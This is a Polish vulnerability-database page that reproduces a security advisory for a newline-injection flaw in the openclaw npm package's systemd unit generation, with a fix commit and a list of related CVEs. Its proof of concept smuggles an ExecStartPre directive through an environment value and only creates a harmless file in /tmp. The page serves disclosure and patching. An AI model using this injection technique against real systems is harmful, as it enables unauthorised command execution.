Wysoka

OpenClaw Improperly Neutralizes Line Breaks in systemd Unit Generation Enables Local Command Execution (Linux)

  • Ujawniono: 03.03.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

A command injection vulnerability exists in OpenClaw’s Linux systemd unit generation path. When rendering Environment= entries, attacker-controlled values are not rejected for CR/LF, and systemdEscapeArg() uses an incorrect whitespace-matching regex. This allows newline injection to break out of an Environment= line and inject standalone systemd directives (for example, ExecStartPre=). On service restart, the injected command is executed, resulting in local arbitrary command execution (local RCE) under the gateway service user.


Details

The issue is in src/daemon/systemd-unit.ts:

  • renderEnvLines(...) builds:
  • Environment=${systemdEscapeArg(${key}=${value})}
  • No CR/LF validation is enforced for environment keys/values before writing unit lines.
  • systemdEscapeArg(...) uses:
  • /[\\s"\\\\]/
  • In this regex, \\s is interpreted as a literal backslash + s, not a whitespace character class. As a result, whitespace detection/quoting behavior is incorrect. Because systemd parses unit files line-by-line, a newline inside an environment value can inject an additional directive line. Example rendered output:
ini
Environment=INJECT=ok
ExecStartPre=/bin/touch /tmp/oc15789_rce

At restart time, systemd executes ExecStartPre, enabling command execution.

Relevant code path/components involved in exploitation chain:

  • src/daemon/systemd-unit.ts
  • src/commands/daemon-install-helpers.ts
  • src/config/env-vars.ts
  • src/config/zod-schema.ts

Trigger conditions:

  1. Attacker can influence config.env.vars (directly or indirectly).
  2. Install/reinstall path is invoked to write/update the unit.
  3. Service restart occurs (systemctl --user restart ...).

PoC

Environment: Linux host with systemd user services enabled.

  1. Configure a malicious environment value in OpenClaw config (config.env.vars), including a newline and injected directive:
  • Key: INJECT
  • Value:
ok
ExecStartPre=/bin/touch /tmp/oc15789_rce
  1. Install/reinstall the gateway service (fixed port as requested):
bash
openclaw gateway install --port 15789 --force
  1. Inspect the generated user unit file (default path):
bash
~/.config/systemd/user/openclaw-gateway.service

Verify that an injected standalone line exists:

ini
ExecStartPre=/bin/touch /tmp/oc15789_rce
  1. Reload and restart user service:
bash
systemctl --user daemon-reload
bash
systemctl --user restart openclaw-gateway.service
  1. Confirm command execution side effect:
bash
ls -l /tmp/oc15789_rce

Impact

This is a local command execution vulnerability in OpenClaw’s systemd unit generation during install/reinstall flows.

  • Type: Command injection via newline/directive injection in unit file generation.
  • Execution context: Runs with the same privileges as the OpenClaw gateway service user.
  • Affected users: Linux deployments using systemd user services where an attacker can control config.env.vars and trigger install/reinstall.

Fix Commit(s)

  • 61f646c41fb43cd87ed48f9125b4718a30d38e84

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm openclaw < 2026.2.21 2026.2.21

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-77
Platforma
npm
Paczka
openclaw
Ujawniono
03.03.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-vffc-f7r7-rx2w - CC BY 4.0

Historia podatności: openclaw

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (588) w archiwum
Wszystkich wpisów
588
Pierwsza → ostatnia
02.2026 07.2026
Bez poprawki
9
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 20
  • Wysoka 215
  • Średnia 299
  • Niska 54

Ujawnienia w latach

  1. 2026: 588
Istotność:
  1. OpenClaw Improperly Neutralizes Line Breaks in systemd Unit Generation Enables Local Command Execution (Linux) ten wpis
    Wysoka CVE-2026-32063 < 2026.2.21 2026.2.21
  2. Wysoka · 8.8 CVE-2026-53836 < 2026.5.12 2026.5.12
  3. Wysoka · 8.8 CVE-2026-53811 < 2026.5.7 2026.5.7
  4. Wysoka · 8.8 CVE-2026-53806 < 2026.5.12 2026.5.12
  5. Wysoka · 7.8 CVE-2026-53813 < 2026.4.25 2026.4.25
  6. Wysoka · 7.5 CVE-2026-53834 < 2026.4.27 2026.4.27
  7. Wysoka · 8.3 CVE-2026-32905 < 2026.5.4 2026.5.4
  8. Krytyczna CVE-2026-34507 < 2026.4.29 2026.4.29
  9. Wysoka CVE-2026-53823 < 2026.5.3 2026.5.3
  10. Wysoka · 8.4 CVE-2026-53814 < 2026.5.20 2026.5.20
  11. Wysoka · 8.0 CVE-2026-53817 < 2026.5.22 2026.5.22
Pokaż więcej (20) Widać 21 z 235

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.